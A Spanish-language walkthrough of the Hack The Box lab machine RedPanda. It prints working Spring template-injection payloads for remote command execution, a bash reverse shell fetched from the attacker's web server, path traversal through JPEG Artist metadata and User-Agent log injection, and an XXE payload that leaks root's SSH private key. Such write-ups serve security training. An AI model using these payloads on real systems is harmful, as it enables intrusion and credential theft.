Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos abiertos solo 2 puertos 22 y 8080 (ssh y http respectivamente)
❯ nmap 10.10.11.170
Nmap scan report for 10.10.11.170
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Usando whatweb
podemos ver que en el titulo de la pagina nos dice que la web esta corriendo por detrás Spring Boot
que es un Framework de Java
❯ whatweb http://redpanda.htb:8080
http://redpanda.htb:8080 [200 OK] Content-Language[en-US]
Country[RESERVED][ZZ]
HTML5
IP[10.10.11.170]
Title[Red Panda Search | Made with Spring Boot]
Al abrir en la web tenemos un buscador de pandas rojos con un cuadro de busqueda
El buscador muestra una linea con nuestro input y los matches que encuentra
Shell - woodenk
En payloadsallthethings , en el apartado de Server Side Template Injection
podemos ver en el apartado de Java que el framework Spring esta contemplado
La inyección básica *{7*7}
se realiza para ver si computa el resultado 49
, si lo hace significa que es vulnerable, en este caso al enviarlo podemos ver que lo es
El segundo payload ejecuta el comando id
usando el método exec()
de la clase Runtime
, y utiliza getInputStream()
para mostrar el output del comando
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Al enviarla el comando id se ejecuta y lo que devuelve el output nos muestra que lo ejecutamos como el usuario woodenk
que curiosamente es parte del grupo logs
Lo que haremos para hacernos una reverse shell para empezar sera crear un archivo index.html
con una reverse shell en bash y lo compartimos con un servidor python
❯ cat index.html
bash -i >& /dev/tcp/10.10.14.10/443 0>&1
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora cambiamos el comando id
por el comando curl 10.10.14.10 -o /tmp/rev
para que nos descargue el index y lo guarde en /tmp/rev
, no lo pipeamos con bash ya que el caracter |
no se interpreta correctamente al ejecutarse
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl 10.10.14.10 -o /tmp/rev').getInputStream())}
Lo enviamos en el buscador y aunque no vemos output nos llega la petición en el servidor de python, asi que ha descargado el archivo con la reverse shell
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.170 - - "GET / HTTP/1.1" 200 -
Ahora cambiamos el comando por bash /tmp/rev
para que nos envie la reverse shell
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/rev').getInputStream())}
Enviamos en el buscador y recibimos una shell como el usuario woodenk
en nuestro listener de netcat, ahora podemos leer la primera flag de la máquina
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp/hsperfdata_woodenk$ hostname -I
10.10.11.170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat ~/user.txt
b37**************************25c
woodenk@redpanda:/tmp/hsperfdata_woodenk$
Shell - root
Vamos a repasar, somos parte del grupo logs
, si buscamos con find archivos que tengan ese grupo asignado podemos encontrar varios archivos entre ellos uno de logs
woodenk@redpanda:~$ find / -group logs 2>/dev/null | grep -vE '/proc|/home|/tmp'
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
woodenk@redpanda:~$
Revisando los permisos del archivo redpanda.log
podemos ver que tenemos permiso de escritura aunque el archivo no tiene ningun contenido por ahora
woodenk@redpanda:/opt/panda_search$ ls -l redpanda.log
-rw-rw-r-- 1 root logs 1 Mar 17 05:44 redpanda.log
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
woodenk@redpanda:/opt/panda_search$
Después de enumerar un poco lo que hay dentro de la máquina podemos encontrar una ruta que contiene varios archivos de configuración java
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/hackthebox/panda_search$ ls -l
-rw-rw-r-- 1 root root 4321 Jun 20 2022 MainController.java
-rw-rw-r-- 1 root root 779 Feb 21 2022 PandaSearchApplication.java
-rw-rw-r-- 1 root root 1800 Jun 14 2022 RequestInterceptor.java
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/hackthebox/panda_search$
En una parte del codigo del archivo MainController.java
encontramos en searchPanda define una variable conn
que tiene credenciales para la base de datos
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList<String> panda = new ArrayList<String>();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
Las credenciales también son válidas para ssh, sin embargo de esa manera no tenemos el grupo logs
, asi que es mejor idea quedarse con la shell de la web
❯ ssh woodenk@10.10.11.170
woodenk@redpanda.htb's password: RedPandazRule
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)
woodenk@redpanda:~$
En el archivo RequestInterceptor.java
se encarga de generar los logs de peticiones
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
Segun lo que podemos ver la estetica de los valores separados por ||
es la siguiente
[ResponseCode] || [RemoteAddress] || [UserAgent] || [RequestUri]
Para ver esto de forma mas clara hacemos una petición y revisamos el log que crea
❯ curl -s http://redpanda.htb:8080/testing | jq
{
"timestamp": "0000-00-00T00:00:00.000+00:00",
"status": 404,
"error": "Not Found",
"message": "",
"path": "/testing"
}
El archivo tiene la estética que hemos visto antes, simplemente lo comprobamos
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
404||10.10.14.10||curl/7.87.0||/testing
woodenk@redpanda:/opt/panda_search$
Otro archivo bastante interesante es App.java
que podemos encontrar en otra ruta
woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$ ls -l
-rw-rw-r-- 1 root root 3707 Jun 20 2022 App.java
woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$
Leeremos el método main
para y desglosaremos lo demas mientras lo analizamos
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
Analizemos, inicia creando un objeto de tipo File el cual apunta al redpanda.log
, despues crea un objeto de tipo Scanner que se encarga de leerlo linea por linea
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
Ahora mediante un bucle itera por cada linea almacenando su valor en la variable line
, y llama a la función isImage
para hacer una comprobación, si devuelve true
seguira el flujo de lo contrario pasará a la siguiente linea del archivo de logs
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Veamos la comprobación, la función isImage
recibe un atributo llamado filename
el cual es la linea, solo si la linea tiene la string .jpg
en su contenido devuelve true
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
Volviendo al main
, este define una variable llamada parsed_data
que contiene un mapa que devulve la función con el nombre parseLog
Map parsed_data = parseLog(line);
La función parseLog
recibe la linea y con split
crea un mapa en el cual los campos los toma separandolos mediante los ||
que es la estructura de logs que vimos antes
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
Ahora el main define una string llamada artist
que es el resultado de la función getArtist
pasandole como argumento el campo uri que obtiene de parsed_data
String artist = getArtist(parsed_data.get("uri").toString());
La función getArtist
recibe un argumento uri el cual es agregado a una ruta y se define en una variable fullpath
la cual será un archivo de imagen, de este archivo extrae la metadata del campo Artist
y retorna su valor solo si es que existe
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
Finalmente el main define una variable xmlPath
que vale una ruta conformada por /credits/
más el campo artist
que recibe de getArtist y al final le agrega _creds.xml
, después llama a addViewTo
y le pasa como argumentos el xmlPath y uri
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
Vamos a la función addViewTo
, resumiendo su funcionamiento interpreta el xml, realiza una condición si el uri de la imagn coincide con el uri que recibió como paramtetro, si se cumple aumenta el total de views, y finalmente reescribe el XML
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
Analizemos, la variable artist sale de el campo Artist
de la metadata de la imagen con esa variable se conforma la ruta del xml que se interpreta con la función anterior
"/credits/" + artist + "_creds.xml"
Podemos tomar una imagen cualquiera y con exiftool
modificar en el metadato Artist para aplicar un Directory Path Traversal
, retroceder un directorio y apuntar a el home donde tenemos capacidad de escritura, el artist lo dejaremos como artist
❯ exiftool -Artist="../home/woodenk/artist" image.jpg
1 image files updated
De este modo la ruta del xml
queda en una ruta en la que podemos leer y escribir
"/credits/" + "../home/woodenk/artist" + "_creds.xml"
/credits/../home/woodenk/artist_creds.xml
/home/woodenk/artist_creds.xml
Para el archivo xml usaremos uno de los ejemplos que tenemos en la máquina
woodenk@redpanda:/credits$ ls -l
-rw-r----- 1 root logs 422 Mar 17 03:26 damian_creds.xml
-rw-r----- 1 root logs 426 Mar 17 03:26 woodenk_creds.xml
woodenk@redpanda:/credits$ cat damian_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>1</totalviews>
</credits>
woodenk@redpanda:/credits$
Aplicaremos un XML External Entity
de toda la vida, tomaremos como base el xml y crearemos el nuestro, definimos una entidad key
que tendra como valor un archivo la id_rsa
del usuario root que la llamaremos en el campo author
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>&key;</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
Tanto el image.png
con la metadata modificada como el xml con el nombre artist_creds.xml
debemos subirlas a la máquina victima en /home/woodenk
woodenk@redpanda:~$ ls -l
-rw-rw-r-- 1 woodenk logs 642 Mar 17 06:20 artist_creds.xml
-rw-rw-r-- 1 woodenk logs 33535 Mar 17 06:12 image.jpg
-rw-r----- 1 woodenk woodenk 33 Mar 17 03:02 user.txt
woodenk@redpanda:~$
Ahora realizaremos una petición con cualquier cosa seguida de ||
seguida de un Directory Path Traversal
hacia el image.jpg
, esto como campo de User-Agent
❯ curl http://redpanda.htb:8080 -A "test||/../../../../../../../home/woodenk/image.jpg"
De forma que el archivo que tiene los logs represente los datos de la siguiente manera
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.10||test||/../../../../../../../home/woodenk/image.jpg||/
woodenk@redpanda:/opt/panda_search$
De esta forma el campo uri que apunta a la imágen tendrá el siguiente valor
"/opt/panda_search/src/main/resources/static" + "/../../../../../../../home/woodenk/image.jpg"
/opt/panda_search/src/main/resources/static/../../../../../../../home/woodenk/image.jpg
/home/woodenk/image.jpg
Asi cuando se ejecute la tarea en unos segundos, extraerá la metadata
de la imagen y la ruta del xml
sera la que definimos con exiftool, al interpretarse el xml y volver a escribirlo deberiamos poder ver la entidad key
interpretada, la id_rsa
de root
woodenk@redpanda:~$ cat artist_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<credits>
<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
woodenk@redpanda:~$
Finalmente con la id_rsa de root
podemos conectarnos sin contraseña y leer la flag
❯ ssh root@10.10.11.170 -i id_rsa
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)
root@redpanda:~# hostname -I
10.10.11.170
root@redpanda:~# cat root.txt
ff0**************************4f2
root@redpanda:~#